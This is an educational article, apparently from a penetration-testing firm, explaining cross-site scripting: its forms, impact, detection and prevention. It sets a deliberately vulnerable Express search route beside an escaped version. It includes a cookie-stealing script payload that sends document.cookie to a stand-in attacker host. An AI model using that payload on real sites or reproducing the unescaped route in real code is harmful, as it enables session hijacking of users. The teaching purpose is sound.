Cross-site scripting (XSS)
CWE-79OWASP A03:2021Updated August 29, 20265 min read
Cross-site scripting (XSS) is a vulnerability where an attacker injects malicious scripts into a trusted web page, which then run in the browsers of its visitors. This lets them steal session cookies, act on the victim's behalf or capture passwords. You prevent it by context-aware output encoding of every piece of user input and by deploying a Content Security Policy.
Cross-site scripting, usually shortened to XSS, is one of the most common vulnerabilities on the web. In an XSS attack, an attacker smuggles malicious JavaScript into a web page, and that code then runs in the browser of every visitor who opens the page. The browser trusts the code because it appears to come from the website itself. This article explains how XSS works, what an attacker can achieve with it and how to prevent it for good.
What is cross-site scripting?
Cross-site scripting is a vulnerability where an application places user input into a web page without sanitising it, allowing an attacker to inject scripts that then execute in the browsers of other visitors. The danger lies not in the website displaying the content, but in the trust the browser places in anything that appears to originate from that website.
Picture a guestbook. Visitors leave a short message that the site then shows to everyone. If the site blindly trusts whatever is typed in, a bad actor can leave a snippet of program code instead of “Nice site!”. From that point on, the browser of every subsequent visitor runs that code as if the website had written it itself. The browser cannot tell the difference between the code the developer intended and the code the attacker slipped in.
There are three main forms. In reflected XSS, the code sits in a link or form and is bounced straight back in the response, often via a phishing link. In stored XSS, the application saves the code, for example in a comment or a profile field, and serves it to every visitor. In DOM-based XSS, the problem arises entirely in the browser, because client-side JavaScript processes unsafe input into the page without the server ever being involved.
How does an XSS attack work?
It all comes down to a single mistake: user input is mixed into the page’s HTML without first being made harmless. Consider a simple search page that echoes the search term back to the visitor.
Vulnerable:
app.get('/search', (req, res) => {
const q = req.query.q;
res.send(`<h1>Results for ${q}</h1>`);
});
The value of q comes straight from the URL and is dropped into the HTML with no checks. A normal visitor searches for laptop and sees that term reflected back on the results page. An attacker, however, sends a link whose search term is <script>fetch('https://malicious.example/x?c='+document.cookie)</script>. The moment the victim clicks that link, the script runs in their browser and forwards their session cookie to the attacker’s server.
Safe:
import escapeHtml from 'escape-html';
app.get('/search', (req, res) => {
const q = escapeHtml(req.query.q);
res.send(`<h1>Results for ${q}</h1>`);
});
The safe version encodes the input before it reaches the page. Characters that have a special meaning in HTML, such as the angle brackets of a tag, are converted into their harmless equivalents: < becomes <. The browser then displays the text literally and executes none of it. Crucially, the encoding is context-dependent: input that lands in an HTML attribute, in a piece of JavaScript or in a URL each calls for a different encoding scheme.
What is the impact of XSS?
Because the injected code runs in the visitor’s browser with all of that visitor’s privileges, an attacker can in principle do anything the visitor can. In technical terms that means: stealing session cookies to hijack a session, logging keystrokes, altering the content of the page, showing a fake login form to harvest passwords, or quietly performing actions on the victim’s behalf. If that victim happens to be an administrator, the attacker can, in the worst case, take over the entire application.
In business terms this translates into data breaches, reputational damage, potential regulatory fines and a loss of customer trust. Stored XSS on a busy platform is especially dangerous: the code hits every visitor who opens the infected page, and in some cases can spread from user to user like a worm. What looks on paper like a “harmless” little script is, in practice, often a full bridgehead inside your customers’ browsers.
How do you detect XSS?
Penetration testers and scanners look for places where input comes back into the response unfiltered. The classic test is a harmless payload such as <script>alert(1)</script> or a unique marker; if it comes back unchanged in the HTML, the spot is suspect. Automated tools like Burp Suite and OWASP ZAP fuzz input fields, URL parameters and headers with dozens of payload variants and check whether they return in an executable form. DOM-based XSS additionally requires analysis of the client-side JavaScript, because the problem never travels through the server and therefore never shows up in the server’s response.
In an AssistSec penetration test, XSS is one of the first things we probe systematically, including the awkward cases that automated scanners miss, such as injections in JSON responses or in dynamically built DOM fragments.
How do you prevent XSS?
- Encode all output in a context-aware way. Neutralise user input at the moment you place it in the page, using the right encoding for HTML, attributes, JavaScript or URLs.
- Use a framework that auto-encodes. React, Angular and Vue encode output by default; just watch the escape hatches such as
dangerouslySetInnerHTMLand only use them with sanitised content. - Avoid
innerHTML. Put text into the page withtextContent. If you genuinely need to render rich HTML, sanitise it first with a library like DOMPurify. - Deploy a Content Security Policy (CSP). A strict CSP limits which scripts the browser is allowed to run and forms a strong second line of defence if something does slip through.
- Mark cookies as HttpOnly. This stops JavaScript from reading the session cookie, which blocks cookie theft via XSS.
- Validate input as an extra layer: reject what is clearly wrong, but never rely on it as your only measure; validation does not replace output encoding.
Sources
Frequently asked questions
Is XSS still a serious risk?
Yes. XSS has featured in the OWASP Top 10 for years and remains one of the most frequently found vulnerabilities in web assessments, partly because modern single-page apps process so much data client-side.
What is the difference between reflected and stored XSS?
With reflected XSS the code sits in a link or form and is bounced straight back to a single victim. With stored XSS the application saves the code and serves it to every visitor.
Does a Content Security Policy protect against XSS?
A CSP is a strong second line of defence that limits the impact of XSS, but it is not a replacement for correctly encoding output. Use both together.
Is encoding input enough to stop XSS?
Not on its own. Always encode at the point of output and match the encoding to the context, whether that is HTML, an attribute, JavaScript or a URL.
Related articles
- VulnerabilitiesCWE-352A01:2021Cross-site request forgery (CSRF)Cross-site request forgery (CSRF) explained: how an attacker abuses a logged-in user's browser to perform unwanted actions, and how you prevent it.
- VulnerabilitiesCWE-16A05:2021Security misconfigurationSecurity misconfiguration explained: how default passwords, debug modes and open cloud buckets let attackers in, and how to harden your systems.
- VulnerabilitiesCWE-89A03:2021SQL injectionSQL injection explained: how attackers use unfiltered input to read or change your database, what the impact is, and how prepared statements stop it.